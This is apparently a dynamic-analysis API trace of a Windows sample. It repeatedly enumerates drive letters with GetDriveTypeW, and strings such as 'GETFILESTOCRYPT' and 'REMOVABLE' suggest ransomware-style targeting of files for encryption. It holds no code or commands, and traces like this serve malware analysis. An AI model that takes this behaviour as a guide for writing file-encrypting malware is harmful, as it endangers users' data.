GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.015] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.015] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.015] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.015] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.015] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.016] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.016] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.016] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.016] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.016] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.016] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.016] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.017] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.017] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.017] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.017] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.017] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.017] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.017] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.018] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.018] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.018] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.018] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.018] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.018] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.018] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.018] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.018] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.018] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.018] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.018] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.018] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.018] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.018] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.019] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.019] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.019] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.019] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.019] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.019] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.019] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.019] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.019] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.020] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.021] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.021] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.021] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.021] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.021] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.021] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.021] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.021] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.022] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.022] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.022] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.022] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.022] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.022] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.022] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.022] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.022] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.022] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.022] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.022] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.022] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.022] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.022] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.022] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.022] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.022] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.023] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.023] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.023] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.023] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.023] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.023] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.023] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.023] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.023] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.025] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.025] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.026] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.026] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.026] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.026] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.026] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.026] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.026] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.026] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.026] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.027] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.027] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.027] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.027] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.027] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.027] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.027] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.027] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.027] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.027] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.027] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.027] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.027] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.027] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.028] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.028] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.028] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.028] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.028] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.028] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.028] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.028] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.028] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.028] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.028] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.028] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.028] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.028] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.028] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.028] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.029] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.029] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.029] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.029] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.029] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.029] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.029] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.029] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.029] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.029] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.029] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.029] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.029] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.029] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.029] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.030] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.030] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.030] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.030] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.030] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.030] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.030] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.030] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.030] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.030] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.030] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.030] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.030] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.030] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.030] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.030] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.031] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.031] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.031] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.031] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.031] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.031] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.031] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.031] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.031] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.031] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.031] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.031] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.031] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.031] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.032] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.032] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.032] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.032] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.032] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.032] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.032] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.032] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.032] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.032] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.032] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.033] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.033] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.033] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.033] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.033] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.033] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.033] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.033] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.033] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 